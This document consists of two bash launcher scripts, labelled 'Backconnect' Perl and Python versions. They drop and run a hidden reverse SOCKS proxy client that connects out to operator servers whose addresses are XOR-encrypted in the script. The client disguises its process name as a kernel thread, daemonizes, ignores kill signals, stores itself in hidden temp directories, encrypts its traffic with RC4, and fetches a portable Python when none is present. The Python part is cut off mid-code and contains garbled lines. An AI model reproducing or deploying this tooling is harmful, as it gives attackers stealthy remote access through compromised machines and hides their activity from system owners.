#!/bin/bash # Backconnect Perl v2.0 - Fixed (original RC4 + v22 features) N="bcksocks";D=3;PD="" ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60" find_writable() { for d in /tmp /var/tmp /dev/shm /run "$HOME"; do [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; } done echo "./.$N" } PD="$(find_writable)" fp() { # SAFE: only perl processes by interpreter + path, no network search pgrep -f "perl.*$PD.*$1.*$2" 2>/dev/null } kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; } ka(){ # SAFE: only kill perl with our path pgrep -f "perl.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null rm -rf "$PD" echo "Done" exit 0 } st(){ echo "Status:" [ -d "$PD" ] || { echo " None"; exit 0; } for f in "$PD"/*.pid; do [ -f "$f" ] || continue p=$(cat "$f") n=$(basename "$f" .pid) kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n" done exit 0 } xc() { local k="$1" local d="$2" local o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; } h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; } enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; } dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; } spawn() { local host="$1" port="$2" id="$3" mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local plf="$PD/${id}.pl" cat > "$plf" << 'PERLEND' #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; use POSIX qw(setsid); my $host = $ARGV[0] || '127.0.0.1'; my $port = $ARGV[1] || 443; my $pidf = $ARGV[2] || ''; # Random kernel-like process name sub get_proc_name { my @names = ('kworker','migration','ksoftirqd','watchdog','cpuhp','rcu_sched', 'kblockd','kswapd','khugepaged','scsi_eh','bioset','kdmflush'); my @suffix = ('','/0','/1','/2','/0:0','/0:1','/1:0'); return $names[rand @names] . $suffix[rand @suffix]; } # Mask only /proc/self/comm, keep cmdline for pgrep my $pn = get_proc_name(); eval { if(open(my $fh, '>', '/proc/self/comm')) { print $fh substr($pn,0,15); close($fh); } }; # Daemonize fork and exit; setsid(); fork and exit; open(STDIN, '<', '/dev/null'); open(STDOUT, '>', '/dev/null'); open(STDERR, '>', '/dev/null'); if ($pidf) { open(my $pf, '>', $pidf); print $pf $$; close($pf); } $SIG{HUP} = $SIG{TERM} = $SIG{INT} = $SIG{PIPE} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } # ORIGINAL RC4 - DO NOT MODIFY! sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); send($cSocket, $buffer, $flags); flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, 0); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, 0); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), 0); threads->detach(); }); } sub bccnct { my $h = shift(@_); my $p = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($p, inet_aton($h)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 4) = "Perl"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, 0); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, 0); $buffernull = "\x00" x 3; next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), 0); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { eval { bccnct($host, $port); }; sleep 10; } PERLEND chmod +x "$plf" perl "$plf" "$host" "$port" "$pidf" & sleep 1 [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 return 1 } ir() { fp "$1" "$2" 2>/dev/null | grep -q .; } SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Usage: $0 [-f] srv:port..." echo " -e KEY srv:port... Encrypt" echo " -d KEY [-f] Decrypt+run" echo " -k / -s Kill/Status" exit 0 ;; -k) ka ;; -s) st ;; -e) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "Need servers"; exit 1; } enc_srv "$K" "$@" exit 0 ;; -d) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; } DE=$(dec_srv "$K" "$ENC_DATA") [ -z "$DE" ] && { echo "Decryption failed"; exit 1; } for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; } command -v perl &>/dev/null || { echo "perl required"; exit 1; } perl -e 'use threads;' 2>/dev/null || { echo "perl threads required"; exit 1; } mkdir -p "$PD"; c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[$c/${#SRV[@]}] $h:$p replacing... " kt "$h" "$p" else echo "[$c/${#SRV[@]}] $h:$p running (use -f)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[$c/${#SRV[@]}] $h:$p " fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done" #!/bin/bash # Backconnect Python v26 FINAL - All features + All fixes # BCPY_MARKER - unique identifier for pgrep isolation N="bcpy";D=3;PD="" # Encrypted server data (fill after using -e) ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c" # ═══════════════════════════════════════════════════════════════════════ # HELPER FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ get_arch() { local arch=$(uname -m 2>/dev/null || echo "x86_64") case "$arch" in x86_64|amd64) echo "x86_64" ;; aarch64|arm64) echo "aarch64" ;; i686|i386|i586) echo "i686" ;; armv7l|armhf) echo "armv7" ;; *) echo "x86_64" ;; esac } find_writable() { local dirs=( "/tmp" "/var/tmp" "/dev/shm" "/run" "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)" "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}" "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)" ) for d in "${dirs[@]}"; do [ -z "$d" ] && continue [ ! -d "$d" ] && continue local tf="$d/.${N}_test_$$" if touch "$tf" 2>/dev/null; then rm -f "$tf" 2>/dev/null echo "$d/.$N" return 0 fi done echo "" return 1 } find_downloader() { command -v curl &>/dev/null && { echo "curl"; return 0; } command -v wget &>/dev/null && { echo "wget"; return 0; } return 1 } download_portable_python() { local dest_dir="$1" local arch=$(get_arch) local dl=$(find_downloader) [ -z "$dl" ] && return 1 [ -z "$dest_dir" ] && return 1 mkdir -p "$dest_dir" 2>/dev/null || return 1 local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415" local filename="" case "$arch" in x86_64) filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;; aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;; i686) filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;; *) return 1 ;; esac local url="$base_url/$filename" local tarball="$dest_dir/python.tar.gz" echo "Downloading portable Python (~25MB)..." >&2 if [ "$dl" = "curl" ]; then curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1 else wget -q -O "$tarball" "$url" 2>/dev/null || return 1 fi [ ! -f "$tarball" ] && return 1 local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null) [ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; } echo "Extracting..." >&2 cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball" [ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; } [ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; } return 1 } find_python() { local pythons=( "python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8" "/usr/bin/python3" "/usr/bin/python" "/usr/local/bin/python3" "/usr/local/bin/python" "/opt/python3/bin/python3" "/opt/python/bin/python" "/bin/python3" "/bin/python" ) for p in "${pythons[@]}"; do if command -v "$p" &>/dev/null || [ -x "$p" ]; then if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then echo "$p" return 0 fi fi done # Check already downloaded portable [ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; } # Try to download portable if [ -n "$PD" ]; then local portable=$(download_portable_python "$PD") [ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; } fi return 1 } # ═══════════════════════════════════════════════════════════════════════ # ENCRYPTION FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ xc() { local k="$1" d="$2" o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}") done echo "$o" } h2s() { local h="$1" o="" i for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}") done echo -e "$o" } enc_srv() { local k="$1"; shift echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\"" } dec_srv() { [ -z "$2" ] && return h2s "$(xc "$1" "$2")" } # ═══════════════════════════════════════════════════════════════════════ # PROCESS MANAGEMENT # ═══════════════════════════════════════════════════════════════════════ fp() { pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null } kt() { local pids=$(fp "$1" "$2") [ -z "$pids" ] && return 0 echo "$pids" | xargs -r kill -15 2>/dev/null sleep 0.5 echo "$pids" | xargs -r kill -9 2>/dev/null sleep 0.3 } ka() { local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null) if [ -n "$pids" ]; then echo "$pids" | xargs -r kill -15 2>/dev/null sleep 1 pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null fi [ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null [ -n "$PD" ] && rmdir "$PD" 2>/dev/null echo "All Python clients killed" exit 0 } st() { echo "═══════════════════════════════════════════" echo " Backconnect Python v26 Status" echo "═══════════════════════════════════════════" echo " Python: $PYTHON" echo " Arch: $(get_arch)" echo " Directory: ${PD:-}" echo " ENC_DATA: ${ENC_DATA:+SET (${#ENC_DATA} chars)}" [ -z "$ENC_DATA" ] && echo " ENC_DATA: " echo "───────────────────────────────────────────" echo " Running processes:" local count=0 if [ -n "$PD" ] && [ -d "$PD" ]; then for f in "$PD"/*.pid; do [ -f "$f" ] || continue local p=$(cat "$f" 2>/dev/null) local n=$(basename "$f" .pid) if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then echo " ✓ $n (PID $p)" count=$((count+1)) fi fi done fi [ $count -eq 0 ] && echo " (none)" echo "═══════════════════════════════════════════" exit 0 } ir() { pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0 [ -z "$PD" ] && return 1 local pidf="$PD/${1}_${2}.pid" [ -f "$pidf" ] || return 1 local p=$(cat "$pidf" 2>/dev/null) [ -z "$p" ] && return 1 kill -0 "$p" 2>/dev/null || return 1 grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null } # ═══════════════════════════════════════════════════════════════════════ # SPAWN FUNCTION # ═══════════════════════════════════════════════════════════════════════ spawn() { local host="$1" port="$2" id="$3" if [ -z "$PD" ]; then echo "No writable directory found" return 1 fi mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local pyf="$PD/${id}.py" cat > "$pyf" << PYEOF #!/usr/bin/env python3 # BCPY_MARKER - DO NOT REMOVE import socket,select,threading,random,time,os,sys,signal try: threading.stack_size(131072) except:pass def daemonize(pidfile): if os.fork()>0:sys.exit(0) os.setsid() if os.fork()>0:sys.exit(0) try:os.chdir("/") except:pass os.umask(0) for fd in range(3,64): try:os.close(fd) except:pass sys.stdin=open("/dev/null","r") sys.stdout=open("/dev/null","w") sys.stderr=open("/dev/null","w") if pidfile: try: with open(pidfile,"w") as f:f.write(str(os.getpid())) except:pass def mask_process(): names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"] suffix=["","/0","/1","/0:0","/0:1"] pn=random.choice(names)+random.choice(suffix) try: import ctypes libc=ctypes.CDLL("libc.so.6") libc.prctl(15,pn.encode(),0,0,0) except:pass try: with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15]) except:pass H,P="${host}",${port} PF="${pidf}" daemonize(PF) mask_process() for s in[1,2,13,15]: try:signal.signal(s,signal.SIG_IGN) except:pass x=bytearray([random.randint(0,254)for _ in range(50)]) def rc4(p,b,s,z): L=len(p) for i in range(z):b[s+i]^=p[i%L] r=list(range(256));j=0 for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i] i=j=0 for k in range(z): i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i] b[s+k]^=r[(r[i]+r[j])&255] for i in range(z):b[s+i]^=p[i%L] SS=None SL=threading.Lock() AL=threading.Lock() sa=[0]*200 sk=[None]*200 wc=0 MAX_WORKERS=200 ALIVE=True GEN=0 def ssend(d,gen): global SS,GEN try: with SL: if SS and gen==GEN: SS.settimeout(10) try:SS.sendall(d) except:return 0 finally:SS.settimeout(None) return 1 except:return 0 def worker(n,cs,b0,gen): global sa,sk,wc,GEN,ALIVE r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0]) ok=0 try: if b0[7]==3: dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1] elif b0[7]==1: dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13] else:raise Exception() cs.settimeout(15) cs.connect((dom,pt)) cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) cs.settimeout(None) with AL: if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1 except: try:cs.close() except:pass rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen) if ok: try: while True: with AL: if sa[n]!=1 or gen!=GEN or not ALIVE:break try:rl,_,el=select.select([cs],[],[cs],1) except:break if el:break if rl: try:d=cs.recv(65530) except:break if not d:break buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d) rc4(x,buf,0,3);rc4(x,buf,3,len(d)) if not ssend(bytes(buf),gen):break except:pass with AL: sa[n]=0;sk[n]=None if wc>0:wc-=1 try:cs.close() except:pass if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen) reconnect_delay=5 max_reconnect_delay=60 def main(): global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay with AL: GEN+=1;ALIVE=True;wc=0 for i in range(200): sa[i]=0;c=sk[i];sk[i]=None if c: try:c.close() except:pass gen=GEN rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time() connected=False try: SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM) SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1) SS.settimeout(15) SS.connect((H,P)) SS.settimeout(None) hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python" rc4(x,hs,50,50);SS.sendall(bytes(hs)) connected=True;reconnect_delay=5 while ALIVE and gen==GEN: if r4<4: try:rl,_,el=select.select([SS],[],[SS],60) except:break if el:break if not rl: if time.time()-ka_time>60: ka=bytearray(3);rc4(x,ka,0,3) if not ssend(bytes(ka),gen):break ka_time=time.time() continue try:d=SS.recv(4-r4) except:break if not d:break b0.extend(d);r4+=len(d);ka_time=time.time() if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8) if r4==4: if edx==0: if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break if 01048576:break need=edx-rm if need>0: try:d=SS.recv(min(need,65536)) except:break if not d:break b0.extend(d);rm+=len(d) if rm==edx: rc4(x,b0,4,rm) if b0[0]==0: if 0=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue wc+=1 cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True) t.start() 